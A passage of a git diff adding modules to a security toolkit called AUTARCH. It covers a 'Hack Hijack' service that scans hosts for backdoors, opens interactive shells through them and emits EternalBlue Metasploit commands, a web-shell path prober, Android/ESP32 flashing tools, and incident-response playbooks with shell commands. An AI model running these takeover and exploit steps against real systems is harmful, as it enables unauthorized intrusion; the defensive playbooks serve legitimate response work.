'error': 'Session not found'} + sock = session.get('socket') + if sock: + try: + sock.close() + except Exception: + pass + return {'ok': True, 'message': 'Session closed'} + + def list_sessions(self) -> List[dict]: + """List active takeover sessions.""" + return [ + { + 'session_id': sid, + 'type': s['type'], + 'host': s['host'], + 'port': s['port'], + 'connected_at': s['connected_at'], + } + for sid, s in self._active_sessions.items() + ] + + def attempt_takeover(self, host: str, backdoor: dict) -> dict: + """Attempt to take over a detected backdoor. + + Routes to the appropriate takeover method based on the signature. + """ + method = backdoor.get('takeover_method', '') + port = backdoor.get('port', 0) + + if method == 'raw_shell': + return self.connect_raw_shell(host, port) + + if method == 'meterpreter_connect': + return self._takeover_via_msf(host, port, 'meterpreter') + + if method == 'meterpreter_session': + return self._takeover_via_msf(host, port, 'meterpreter') + + if method == 'doublepulsar_inject': + return self._takeover_doublepulsar(host) + + if method == 'ssh_connect': + return {'ok': False, + 'message': f'SSH detected on {host}:{port}. ' + 'Use Offense → Reverse Shell for SSH access, ' + 'or try default credentials.'} + + if method == 'webshell_detect': + return self._detect_webshell(host, port) + + if method == 'socks_connect': + return {'ok': True, + 'message': f'SOCKS proxy at {host}:{port}. ' + f'Configure proxychains: socks5 {host} {port}'} + + if method == 'http_proxy_use': + return {'ok': True, + 'message': f'HTTP proxy at {host}:{port}. ' + f'export http_proxy=http://{host}:{port}'} + + if method == 'generic_connect': + return self.connect_raw_shell(host, port) + + return {'ok': False, 'error': f'No takeover handler for method: {method}'} + + def _takeover_via_msf(self, host: str, port: int, payload_type: str) -> dict: + """Attempt takeover using Metasploit if available.""" + try: + from core.msf_interface import get_msf_interface + msf = get_msf_interface() + if not msf.is_connected: + return {'ok': False, + 'error': 'Metasploit not connected. Connect via Offense page first.'} + # Use multi/handler to connect to bind shell + return { + 'ok': True, + 'message': f'Metasploit available. Create handler: ' + f'use exploit/multi/handler; ' + f'set PAYLOAD windows/meterpreter/bind_tcp; ' + f'set RHOST {host}; set LPORT {port}; exploit', + 'msf_command': f'use exploit/multi/handler\n' + f'set PAYLOAD windows/meterpreter/bind_tcp\n' + f'set RHOST {host}\nset LPORT {port}\nexploit', + } + except ImportError: + return {'ok': False, 'error': 'Metasploit module not available'} + + def _takeover_doublepulsar(self, host: str) -> dict: + """Provide DoublePulsar exploitation guidance.""" + return { + 'ok': True, + 'message': f'DoublePulsar detected on {host}:445. Use Metasploit:\n' + f' use exploit/windows/smb/ms17_010_eternalblue\n' + f' set RHOSTS {host}\n' + f' set PAYLOAD windows/x64/meterpreter/reverse_tcp\n' + f' set LHOST \n' + f' exploit\n\n' + f'Or inject DLL via existing DoublePulsar implant:\n' + f' use exploit/windows/smb/ms17_010_psexec\n' + f' set RHOSTS {host}\n' + f' exploit', + 'msf_command': f'use exploit/windows/smb/ms17_010_eternalblue\n' + f'set RHOSTS {host}\n' + f'set PAYLOAD windows/x64/meterpreter/reverse_tcp\n' + f'exploit', + } + + def _detect_webshell(self, host: str, port: int) -> dict: + """Probe HTTP service for common web shells.""" + shells_found = [] + common_paths = [ + '/cmd.php', '/shell.php', '/c99.php', '/r57.php', + '/webshell.php', '/backdoor.php', '/upload.php', + '/cmd.asp', '/shell.asp', '/cmd.aspx', '/shell.aspx', + '/cmd.jsp', '/shell.jsp', + '/.hidden/shell.php', '/images/shell.php', + '/uploads/shell.php', '/tmp/shell.php', + '/wp-content/uploads/shell.php', + '/wp-includes/shell.php', + ] + try: + import requests as req + for path in common_paths: + try: + r = req.get(f'http://{host}:{port}{path}', timeout=3, + allow_redirects=False) + if r.status_code == 200 and len(r.text) > 0: + # Check if it looks like a shell + text = r.text.lower() + indicators = ['execute', 'command', 'shell', 'system(', + 'passthru', 'exec(', 'cmd', 'uname', + 'phpinfo', 'eval('] + if any(ind in text for ind in indicators): + shells_found.append({ + 'path': path, + 'size': len(r.text), + 'status': r.status_code, + }) + except Exception: + continue + except ImportError: + return {'ok': False, 'error': 'requests library not available for web shell detection'} + + if shells_found: + return { + 'ok': True, + 'message': f'Found {len(shells_found)} web shell(s) on {host}:{port}', + 'shells': shells_found, + } + return { + 'ok': True, + 'message': f'No common web shells found on {host}:{port}', + 'shells': [], + } + + # ── History ─────────────────────────────────────────────────────────── + + def get_scan_history(self) -> List[dict]: + return list(reversed(self._scans)) + + def clear_history(self) -> dict: + self._scans.clear() + self._save_scans() + return {'ok': True, 'message': 'Scan history cleared'} + + +# ── Singleton ───────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_hack_hijack() -> HackHijackService: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = HackHijackService() + return _instance + + +# ── CLI ─────────────────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for Hack Hijack.""" + svc = get_hack_hijack() + + while True: + print("\n╔═══════════════════════════════════════╗") + print("║ HACK HIJACK — Takeover ║") + print("╠═══════════════════════════════════════╣") + print("║ 1 — Quick Scan (backdoor ports) ║") + print("║ 2 — Full Scan (all suspicious) ║") + print("║ 3 — Nmap Deep Scan ║") + print("║ 4 — View Scan History ║") + print("║ 5 — Active Sessions ║") + print("║ 0 — Back ║") + print("╚═══════════════════════════════════════╝") + + choice = input("\n Select: ").strip() + + if choice == '0': + break + elif choice in ('1', '2', '3'): + target = input(" Target IP: ").strip() + if not target: + continue + scan_type = {'1': 'quick', '2': 'full', '3': 'nmap'}[choice] + print(f"\n Scanning {target} ({scan_type})...") + + def progress(current, total): + print(f" [{current}/{total}] ports scanned", end='\r') + + result = svc.scan_target(target, scan_type=scan_type, + progress_cb=progress) + print(f"\n Scan complete in {result.duration:.1f}s") + print(f" Open ports: {len(result.open_ports)}") + + if result.open_ports: + print("\n PORT STATE SERVICE BANNER") + print(" " + "-" * 60) + for p in result.open_ports: + banner = p.banner[:40] if p.banner else '' + print(f" {p.port:<9} {p.state:<7} {p.service:<10} {banner}") + + if result.backdoors: + print(f"\n BACKDOOR INDICATORS ({len(result.backdoors)}):") + print(" " + "-" * 60) + for i, bd in enumerate(result.backdoors, 1): + color = {'high': '\033[91m', 'medium': '\033[93m', + 'low': '\033[90m'}.get(bd.confidence, '') + reset = '\033[0m' + print(f" {i}. {color}[{bd.confidence.upper()}]{reset} " + f"{bd.signature} (port {bd.port})") + if bd.details: + print(f" {bd.details}") + + # Offer takeover + try: + sel = input("\n Attempt takeover? Enter # (0=skip): ").strip() + if sel and sel != '0': + idx = int(sel) - 1 + if 0 <= idx < len(result.backdoors): + bd = result.backdoors[idx] + bd_dict = { + 'port': bd.port, + 'takeover_method': bd.takeover_method, + } + r = svc.attempt_takeover(target, bd_dict) + if r.get('ok'): + print(f"\n {r.get('message', 'Success')}") + if r.get('session_id'): + print(f" Session: {r['session_id']}") + # Interactive shell + while True: + cmd = input(f" [{target}]$ ").strip() + if cmd in ('exit', 'quit', ''): + svc.close_session(r['session_id']) + break + out = svc.shell_execute(r['session_id'], cmd) + if out.get('ok'): + print(out.get('output', '')) + else: + print(f" Error: {out.get('error')}") + else: + print(f"\n Failed: {r.get('error', 'Unknown error')}") + except (ValueError, IndexError): + pass + + if result.smb_info.get('vulnerable'): + print("\n [!] SMB MS17-010 (EternalBlue) VULNERABLE") + print(f" OS: {result.smb_info.get('os', 'unknown')}") + print(f" Signing: {result.smb_info.get('signing', 'unknown')}") + + if result.os_guess: + print(f"\n OS Guess: {result.os_guess}") + + elif choice == '4': + history = svc.get_scan_history() + if not history: + print("\n No scan history.") + continue + print(f"\n Scan History ({len(history)} scans):") + for i, scan in enumerate(history[:20], 1): + bds = len(scan.get('backdoors', [])) + high = sum(1 for b in scan.get('backdoors', []) + if b.get('confidence') == 'high') + print(f" {i}. {scan['target']} — " + f"{len(scan.get('open_ports', []))} open, " + f"{bds} indicators ({high} high) — " + f"{scan['scan_time'][:19]}") + + elif choice == '5': + sessions = svc.list_sessions() + if not sessions: + print("\n No active sessions.") + continue + print(f"\n Active Sessions ({len(sessions)}):") + for s in sessions: + print(f" {s['session_id']} — {s['type']} → " + f"{s['host']}:{s['port']} " + f"(since {s['connected_at'][:19]})") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/hardware_local.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/hardware_local.py new file mode 100644 index 0000000..c5fc5df --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/hardware_local.py @@ -0,0 +1,262 @@ +""" +Hardware Local - Physical device access (ADB/Fastboot/Serial) +Direct access to USB-connected devices on this machine. +""" + +DESCRIPTION = "Physical device access (ADB/Fastboot/Serial)" +AUTHOR = "AUTARCH" +VERSION = "1.0" +CATEGORY = "hardware" + + +class HardwareLocal: + """Interactive hardware access menu.""" + + def __init__(self): + from core.hardware import get_hardware_manager + self.mgr = get_hardware_manager() + + def show_menu(self): + status = self.mgr.get_status() + print(f"\n{'='*50}") + print(" Hardware Access (Local)") + print(f"{'='*50}") + print(f" ADB: {'Available' if status['adb'] else 'Not found'}") + print(f" Fastboot: {'Available' if status['fastboot'] else 'Not found'}") + print(f" Serial: {'Available' if status['serial'] else 'Not installed'}") + print(f" ESPTool: {'Available' if status['esptool'] else 'Not installed'}") + print() + print(" 1) List ADB Devices") + print(" 2) ADB Device Info") + print(" 3) ADB Shell") + print(" 4) ADB Sideload/Install") + print(" 5) List Fastboot Devices") + print(" 6) Fastboot Device Info") + print(" 7) Fastboot Flash Partition") + print(" 8) List Serial Ports") + print(" 9) Detect ESP Chip") + print(" 10) Flash ESP32 Firmware") + print(" 0) Back") + print() + + def _pick_device(self, devices, label="device"): + if not devices: + print(f" No {label}s found.") + return None + if len(devices) == 1: + return devices[0]['serial'] + print(f"\n Select {label}:") + for i, d in enumerate(devices, 1): + extra = d.get('model', '') or d.get('state', '') + print(f" {i}) {d['serial']} {extra}") + try: + choice = int(input(" > ").strip()) + if 1 <= choice <= len(devices): + return devices[choice - 1]['serial'] + except (ValueError, EOFError): + pass + return None + + def list_adb_devices(self): + devices = self.mgr.adb_devices() + if not devices: + print(" No ADB devices connected.") + return + print(f"\n {'Serial':<20} {'State':<12} {'Model':<15} {'Product'}") + print(f" {'-'*60}") + for d in devices: + print(f" {d['serial']:<20} {d['state']:<12} {d.get('model',''):<15} {d.get('product','')}") + + def adb_device_info(self): + devices = self.mgr.adb_devices() + serial = self._pick_device(devices, "ADB device") + if not serial: + return + info = self.mgr.adb_device_info(serial) + print(f"\n Device Info: {serial}") + print(f" {'-'*40}") + for k, v in info.items(): + print(f" {k:<20} {v}") + + def adb_shell(self): + devices = self.mgr.adb_devices() + serial = self._pick_device(devices, "ADB device") + if not serial: + return + print(f" ADB Shell ({serial}) - type 'exit' to quit") + while True: + try: + cmd = input(f" {serial}$ ").strip() + except (EOFError, KeyboardInterrupt): + break + if cmd.lower() in ('exit', 'quit', ''): + break + result = self.mgr.adb_shell(serial, cmd) + if result['output']: + print(result['output']) + + def adb_sideload(self): + devices = self.mgr.adb_devices() + serial = self._pick_device(devices, "ADB device") + if not serial: + return + try: + filepath = input(" File path: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not filepath: + return + result = self.mgr.adb_sideload(serial, filepath) + if result.get('success'): + print(f" Sideload started (op: {result['op_id']})") + # Poll progress + import time + while True: + time.sleep(1) + prog = self.mgr.get_operation_progress(result['op_id']) + print(f" [{prog.get('progress', 0)}%] {prog.get('message', '')}", end='\r') + if prog.get('status') in ('done', 'error'): + print() + break + else: + print(f" Error: {result.get('error', 'Unknown error')}") + + def list_fastboot_devices(self): + devices = self.mgr.fastboot_devices() + if not devices: + print(" No Fastboot devices connected.") + return + print(f"\n {'Serial':<25} {'State'}") + print(f" {'-'*35}") + for d in devices: + print(f" {d['serial']:<25} {d['state']}") + + def fastboot_device_info(self): + devices = self.mgr.fastboot_devices() + serial = self._pick_device(devices, "Fastboot device") + if not serial: + return + info = self.mgr.fastboot_device_info(serial) + print(f"\n Fastboot Info: {serial}") + print(f" {'-'*40}") + for k, v in info.items(): + print(f" {k:<20} {v}") + + def fastboot_flash(self): + devices = self.mgr.fastboot_devices() + serial = self._pick_device(devices, "Fastboot device") + if not serial: + return + try: + partition = input(" Partition (boot/recovery/system/vendor): ").strip() + filepath = input(" Firmware path: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not partition or not filepath: + return + result = self.mgr.fastboot_flash(serial, partition, filepath) + if result.get('success'): + print(f" Flash started (op: {result['op_id']})") + import time + while True: + time.sleep(1) + prog = self.mgr.get_operation_progress(result['op_id']) + print(f" [{prog.get('progress', 0)}%] {prog.get('message', '')}", end='\r') + if prog.get('status') in ('done', 'error'): + print() + break + else: + print(f" Error: {result.get('error', 'Unknown error')}") + + def list_serial_ports(self): + ports = self.mgr.list_serial_ports() + if not ports: + print(" No serial ports found.") + return + print(f"\n {'Port':<20} {'Description':<30} {'VID:PID'}") + print(f" {'-'*60}") + for p in ports: + vid_pid = f"{p['vid']}:{p['pid']}" if p['vid'] else '' + print(f" {p['port']:<20} {p['desc']:<30} {vid_pid}") + + def detect_esp(self): + ports = self.mgr.list_serial_ports() + if not ports: + print(" No serial ports found.") + return + print(" Select port:") + for i, p in enumerate(ports, 1): + print(f" {i}) {p['port']} - {p['desc']}") + try: + choice = int(input(" > ").strip()) + port = ports[choice - 1]['port'] + except (ValueError, IndexError, EOFError): + return + result = self.mgr.detect_esp_chip(port) + if result.get('success'): + print(f" Chip: {result['chip']}") + print(f" ID: {result.get('chip_id', 'N/A')}") + else: + print(f" Error: {result.get('error', 'Detection failed')}") + + def flash_esp(self): + ports = self.mgr.list_serial_ports() + if not ports: + print(" No serial ports found.") + return + print(" Select port:") + for i, p in enumerate(ports, 1): + print(f" {i}) {p['port']} - {p['desc']}") + try: + choice = int(input(" > ").strip()) + port = ports[choice - 1]['port'] + firmware = input(" Firmware path: ").strip() + except (ValueError, IndexError, EOFError): + return + if not firmware: + return + result = self.mgr.flash_esp(port, firmware) + if result.get('success'): + print(f" Flash started (op: {result['op_id']})") + import time + while True: + time.sleep(1) + prog = self.mgr.get_operation_progress(result['op_id']) + print(f" [{prog.get('progress', 0)}%] {prog.get('message', '')}", end='\r') + if prog.get('status') in ('done', 'error'): + print() + break + else: + print(f" Error: {result.get('error', 'Flash failed')}") + + def run_interactive(self): + while True: + self.show_menu() + try: + choice = input(" Select > ").strip() + except (EOFError, KeyboardInterrupt): + break + if choice == '0': + break + actions = { + '1': self.list_adb_devices, + '2': self.adb_device_info, + '3': self.adb_shell, + '4': self.adb_sideload, + '5': self.list_fastboot_devices, + '6': self.fastboot_device_info, + '7': self.fastboot_flash, + '8': self.list_serial_ports, + '9': self.detect_esp, + '10': self.flash_esp, + } + action = actions.get(choice) + if action: + action() + else: + print(" Invalid choice.") + + +def run(): + hw = HardwareLocal() + hw.run_interactive() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/hardware_remote.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/hardware_remote.py new file mode 100644 index 0000000..ee4b937 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/hardware_remote.py @@ -0,0 +1,25 @@ +""" +Hardware Remote - Remote physical device access via web UI +Devices connected to the AUTARCH server are accessible through the web browser. +""" + +DESCRIPTION = "Remote physical device access (via web UI)" +AUTHOR = "AUTARCH" +VERSION = "1.0" +CATEGORY = "hardware" + + +def run(): + print("\n Hardware Remote Access") + print(" " + "=" * 40) + print(" Remote hardware access is available through the web UI.") + print(" Devices plugged into this server (USB/Serial) can be") + print(" managed remotely via your browser.") + print() + print(" Start the web server with: python3 autarch.py --web") + print(" Then navigate to: http://:5000/hardware") + print() + print(" Supported devices:") + print(" - Android (ADB/Fastboot)") + print(" - ESP32 (Serial flash/monitor)") + print() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/incident_resp.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/incident_resp.py new file mode 100644 index 0000000..613e624 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/incident_resp.py @@ -0,0 +1,1555 @@ +"""AUTARCH Incident Response + +IR playbook runner, evidence collection, IOC sweeping, timeline building, +containment actions, and post-incident reporting for security operations. +""" + +import os +import sys +import json +import time +import platform +import subprocess +import re +import hashlib +import shutil +from pathlib import Path +from datetime import datetime, timezone +from collections import defaultdict + +# Module metadata +DESCRIPTION = "Incident response — playbooks, evidence & containment" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "defense" + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +try: + from core.banner import Colors, clear_screen, display_banner +except ImportError: + class Colors: + RED = YELLOW = GREEN = CYAN = BLUE = MAGENTA = WHITE = DIM = BOLD = RESET = '' + def clear_screen(): pass + def display_banner(): pass + +_is_win = platform.system() == 'Windows' + +# ── Valid enumerations ────────────────────────────────────────────── + +INCIDENT_TYPES = [ + 'ransomware', 'data_breach', 'insider_threat', 'ddos', + 'account_compromise', 'malware', 'phishing', 'unauthorized_access', +] + +SEVERITY_LEVELS = ['critical', 'high', 'medium', 'low'] + +STATUS_VALUES = ['open', 'investigating', 'contained', 'resolved', 'closed'] + +EVIDENCE_TYPES = [ + 'system_logs', 'process_list', 'network_connections', 'running_services', + 'user_accounts', 'scheduled_tasks', 'recent_files', 'memory_info', + 'disk_info', 'installed_software', +] + + +# ── Playbooks ─────────────────────────────────────────────────────── + +IR_PLAYBOOKS = { + 'ransomware': { + 'name': 'Ransomware Response', + 'steps': [ + { + 'title': 'Isolate Affected Systems', + 'description': 'Immediately disconnect infected hosts from the network to prevent lateral movement and further encryption. Disable WiFi adapters and unplug Ethernet cables. Add firewall rules to block the host if remote.', + 'check_items': ['Disconnect from network', 'Disable WiFi adapters', 'Block at firewall', 'Disable shared drives/NFS mounts'], + 'automated': True, + 'commands': ['netsh interface set interface "Wi-Fi" disable' if _is_win else 'nmcli radio wifi off', + 'netsh advfirewall set allprofiles state on' if _is_win else 'iptables -P INPUT DROP && iptables -P OUTPUT DROP && iptables -P FORWARD DROP'], + }, + { + 'title': 'Preserve Evidence', + 'description': 'Capture volatile evidence before any remediation. Collect running processes, network connections, memory state, and ransom notes. Photograph any ransom screens.', + 'check_items': ['Capture process list', 'Capture network connections', 'Save ransom note text', 'Screenshot ransom screen', 'Record system time and timezone'], + 'automated': True, + 'commands': ['tasklist /v' if _is_win else 'ps auxf', + 'netstat -anob' if _is_win else 'ss -tulnp'], + }, + { + 'title': 'Identify Ransomware Variant', + 'description': 'Determine the ransomware family by examining the ransom note, encrypted file extensions, and behavior. Check ID Ransomware (id-ransomware.malwarehunterteam.com) and No More Ransom (nomoreransom.org) for known decryptors.', + 'check_items': ['Note encrypted file extension', 'Identify ransom note filename', 'Check ID Ransomware', 'Check No More Ransom project', 'Search threat intelligence feeds'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Assess Scope of Impact', + 'description': 'Determine which systems, shares, and data have been affected. Check backup integrity. Identify the initial infection vector (email attachment, RDP, exploit kit).', + 'check_items': ['Enumerate affected hosts', 'Check shared drive encryption status', 'Verify backup integrity', 'Identify infection vector', 'Determine data classification of affected files'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Eradicate Ransomware', + 'description': 'Remove the ransomware binary, persistence mechanisms, and any related malware. Scan all systems with updated AV signatures. Check scheduled tasks, startup items, and registry run keys.', + 'check_items': ['Identify and remove ransomware executable', 'Clear persistence mechanisms', 'Scan with updated AV signatures', 'Check scheduled tasks', 'Check registry run keys (Windows)', 'Check crontabs (Linux)'], + 'automated': True, + 'commands': ['schtasks /query /fo LIST /v' if _is_win else 'crontab -l 2>/dev/null; ls -la /etc/cron.*/ 2>/dev/null'], + }, + { + 'title': 'Restore and Recover', + 'description': 'Restore affected systems from clean backups. Rebuild compromised systems if needed. Verify restored data integrity and gradually reconnect to the network.', + 'check_items': ['Restore from verified clean backup', 'Rebuild if no clean backup available', 'Verify data integrity post-restore', 'Patch vulnerability used for initial access', 'Reconnect to network gradually'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Post-Incident Review', + 'description': 'Conduct lessons learned meeting. Update IR playbook. Improve detection and prevention controls. Document full timeline for legal/compliance.', + 'check_items': ['Schedule lessons learned meeting', 'Update detection rules', 'Improve email filtering', 'Review backup strategy', 'Document full incident timeline', 'File regulatory notifications if required'], + 'automated': False, + 'commands': [], + }, + ], + }, + 'data_breach': { + 'name': 'Data Breach Response', + 'steps': [ + { + 'title': 'Confirm and Scope the Breach', + 'description': 'Verify that a data breach has occurred. Determine what data was accessed or exfiltrated, which systems were involved, and the approximate timeframe.', + 'check_items': ['Verify breach indicators', 'Identify affected systems', 'Determine data types exposed', 'Establish breach timeframe', 'Check access logs for unauthorized activity'], + 'automated': True, + 'commands': ['wevtutil qe Security /c:50 /f:text /rd:true' if _is_win else 'grep -i "authentication failure\\|invalid user\\|unauthorized" /var/log/auth.log 2>/dev/null | tail -50'], + }, + { + 'title': 'Contain the Breach', + 'description': 'Stop ongoing data exfiltration. Revoke compromised credentials, block attacker IPs, disable compromised accounts, and segment affected network areas.', + 'check_items': ['Block attacker IP addresses', 'Revoke compromised API keys/tokens', 'Disable compromised user accounts', 'Segment affected network zones', 'Enable enhanced logging'], + 'automated': True, + 'commands': ['netstat -anob' if _is_win else 'ss -tulnp', + 'net user' if _is_win else 'cat /etc/passwd | grep -v nologin | grep -v false'], + }, + { + 'title': 'Preserve Evidence', + 'description': 'Secure all evidence for potential legal proceedings. Create forensic images, preserve logs, and maintain chain of custody documentation.', + 'check_items': ['Create forensic disk images', 'Preserve all relevant logs', 'Document chain of custody', 'Capture network traffic logs', 'Save database query logs'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Assess Data Impact', + 'description': 'Classify the types and volume of data compromised. Determine if PII, PHI, financial data, or trade secrets were involved. Assess regulatory implications.', + 'check_items': ['Classify data types affected', 'Estimate number of records', 'Determine if PII/PHI involved', 'Check for financial data exposure', 'Identify regulatory frameworks triggered'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Notify Stakeholders', + 'description': 'Notify required parties according to regulatory requirements and company policy. This may include legal, management, affected individuals, and regulators.', + 'check_items': ['Notify legal counsel', 'Notify executive management', 'Prepare notification to affected individuals', 'File regulatory notifications (GDPR 72hr, HIPAA 60 days)', 'Notify law enforcement if appropriate', 'Prepare public statement if needed'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Remediate and Harden', + 'description': 'Fix the vulnerability or weakness that allowed the breach. Implement additional security controls and monitoring.', + 'check_items': ['Patch exploited vulnerability', 'Implement additional access controls', 'Enable MFA on affected systems', 'Deploy DLP controls', 'Enhance monitoring and alerting'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Post-Incident Review', + 'description': 'Document full incident timeline, root cause analysis, and lessons learned. Update policies, procedures, and detection rules.', + 'check_items': ['Complete incident report', 'Conduct root cause analysis', 'Update incident response plan', 'Implement improved controls', 'Schedule follow-up review'], + 'automated': False, + 'commands': [], + }, + ], + }, + 'insider_threat': { + 'name': 'Insider Threat Response', + 'steps': [ + { + 'title': 'Identify and Verify Threat', + 'description': 'Confirm the insider threat indicators. Determine if activity is malicious or accidental. Review user activity logs, access patterns, and data movement.', + 'check_items': ['Review user access logs', 'Check data transfer volumes', 'Verify anomalous login patterns', 'Review email/messaging for exfiltration', 'Confirm with HR if termination-related'], + 'automated': True, + 'commands': ['wevtutil qe Security /c:100 /f:text /rd:true /q:"*[System[(EventID=4624 or EventID=4625)]]"' if _is_win else 'last -20 2>/dev/null; lastlog 2>/dev/null | head -20'], + }, + { + 'title': 'Monitor Covertly', + 'description': 'If investigation is underway, continue monitoring the insider without alerting them. Coordinate with legal and HR before taking action.', + 'check_items': ['Enable enhanced audit logging', 'Monitor file access patterns', 'Track network activity from user workstation', 'Coordinate with HR and legal', 'Document all observations'], + 'automated': True, + 'commands': ['auditpol /get /category:*' if _is_win else 'auditctl -l 2>/dev/null'], + }, + { + 'title': 'Contain the Threat', + 'description': 'When ready to act, disable the user account, revoke all access, and secure their workstation. Preserve all evidence before wiping anything.', + 'check_items': ['Disable user account', 'Revoke VPN/remote access', 'Revoke cloud service access', 'Secure physical workstation', 'Collect badges and keys', 'Disable email forwarding rules'], + 'automated': True, + 'commands': ['net user {username} /active:no' if _is_win else 'usermod -L {username} 2>/dev/null'], + }, + { + 'title': 'Forensic Investigation', + 'description': 'Conduct thorough forensic analysis of the insider\'s workstation, email, cloud storage, and all systems they had access to.', + 'check_items': ['Image workstation hard drive', 'Review email sent items and drafts', 'Check USB device history', 'Review cloud storage activity', 'Check print logs', 'Review source code repository commits'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Assess Damage', + 'description': 'Determine what data was accessed, copied, or destroyed. Assess intellectual property theft, competitive harm, and regulatory impact.', + 'check_items': ['Inventory accessed files', 'Determine data classification', 'Assess competitive damage', 'Check for data destruction', 'Review customer data exposure'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Recovery and Remediation', + 'description': 'Rotate credentials, revoke remaining access, and implement controls to prevent similar incidents.', + 'check_items': ['Rotate shared credentials', 'Review access control lists', 'Implement separation of duties', 'Update DLP policies', 'Enhance user behavior analytics'], + 'automated': False, + 'commands': [], + }, + ], + }, + 'ddos': { + 'name': 'DDoS Response', + 'steps': [ + { + 'title': 'Detect and Classify Attack', + 'description': 'Identify the type of DDoS attack (volumetric, protocol, application layer). Determine attack vector, source IPs, and traffic patterns.', + 'check_items': ['Identify attack type', 'Measure attack bandwidth', 'Identify source IP ranges', 'Determine targeted services', 'Check if amplification/reflection attack'], + 'automated': True, + 'commands': ['netstat -an | find /c "ESTABLISHED"' if _is_win else 'ss -s; netstat -an 2>/dev/null | awk \'{print $5}\' | cut -d: -f1 | sort | uniq -c | sort -rn | head -20'], + }, + { + 'title': 'Activate Upstream Mitigation', + 'description': 'Contact ISP and activate DDoS mitigation services. Enable CDN/WAF protections. Activate cloud-based scrubbing if available.', + 'check_items': ['Contact ISP for upstream filtering', 'Activate CDN DDoS protection', 'Enable WAF rate limiting', 'Activate cloud scrubbing service', 'Implement geo-blocking if appropriate'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Apply Local Mitigations', + 'description': 'Implement local firewall rules to drop attack traffic. Enable SYN cookies, rate limiting, and connection limits. Block identified source IPs.', + 'check_items': ['Enable SYN flood protection', 'Apply rate limiting rules', 'Block top attacking IPs', 'Increase connection table size', 'Drop malformed packets'], + 'automated': True, + 'commands': ['netsh advfirewall firewall add rule name="DDoS-RateLimit" dir=in action=block enable=yes' if _is_win else 'sysctl -w net.ipv4.tcp_syncookies=1; sysctl -w net.ipv4.tcp_max_syn_backlog=2048'], + }, + { + 'title': 'Monitor and Adapt', + 'description': 'Continuously monitor attack patterns. Attackers often shift vectors when initial attack is mitigated. Update filtering rules as patterns change.', + 'check_items': ['Monitor bandwidth utilization', 'Track connection states', 'Watch for attack vector changes', 'Update filtering rules', 'Monitor service availability'], + 'automated': True, + 'commands': ['netstat -an' if _is_win else 'ss -s'], + }, + { + 'title': 'Service Recovery', + 'description': 'Once attack subsides, gradually restore services. Verify all systems are functioning normally. Clear any queued requests.', + 'check_items': ['Verify attack has stopped', 'Remove emergency firewall rules', 'Restart affected services', 'Clear connection queues', 'Verify service availability'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Post-Attack Analysis', + 'description': 'Analyze attack traffic patterns for future prevention. Update DDoS response procedures. Consider additional protection services.', + 'check_items': ['Analyze attack traffic logs', 'Document attack timeline', 'Review effectiveness of mitigations', 'Update firewall rules permanently', 'Evaluate DDoS protection services'], + 'automated': False, + 'commands': [], + }, + ], + }, + 'account_compromise': { + 'name': 'Account Compromise Response', + 'steps': [ + { + 'title': 'Confirm Compromise', + 'description': 'Verify that the account has been compromised. Check for unauthorized logins, unusual activity, email forwarding rules, and new MFA devices.', + 'check_items': ['Review login history for anomalies', 'Check for new email forwarding rules', 'Look for new MFA devices', 'Review recent account activity', 'Check for password change attempts'], + 'automated': True, + 'commands': ['wevtutil qe Security /c:30 /f:text /rd:true /q:"*[System[(EventID=4624)]]"' if _is_win else 'last -30 2>/dev/null; grep "session opened" /var/log/auth.log 2>/dev/null | tail -30'], + }, + { + 'title': 'Secure the Account', + 'description': 'Reset the password immediately. Revoke all active sessions and tokens. Remove unauthorized MFA devices. Remove suspicious email rules.', + 'check_items': ['Reset account password', 'Revoke all active sessions', 'Remove unauthorized MFA devices', 'Remove email forwarding rules', 'Revoke OAuth application access'], + 'automated': True, + 'commands': ['net user {username} * /domain' if _is_win else 'passwd {username}'], + }, + { + 'title': 'Assess Impact', + 'description': 'Determine what the attacker accessed using the compromised account. Check email, files, systems, and any actions taken.', + 'check_items': ['Review email access logs', 'Check file access history', 'Review system authentication logs', 'Look for data exfiltration', 'Check for lateral movement'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Check for Lateral Movement', + 'description': 'Determine if the attacker used the compromised account to access other systems or escalate privileges.', + 'check_items': ['Check other systems for the compromised credential', 'Review admin console access', 'Look for privilege escalation', 'Check for new accounts created', 'Review VPN connection logs'], + 'automated': True, + 'commands': ['net user' if _is_win else 'cat /etc/passwd | grep -v nologin'], + }, + { + 'title': 'Remediate and Harden', + 'description': 'Implement additional security controls on the account and related systems.', + 'check_items': ['Enable MFA if not already active', 'Review account permissions', 'Implement conditional access policies', 'Update password policy', 'Enable login anomaly detection'], + 'automated': False, + 'commands': [], + }, + ], + }, + 'malware': { + 'name': 'Malware Incident Response', + 'steps': [ + { + 'title': 'Identify and Isolate', + 'description': 'Identify the malware and isolate the affected system. Determine the malware type (trojan, worm, RAT, rootkit, etc.) and initial 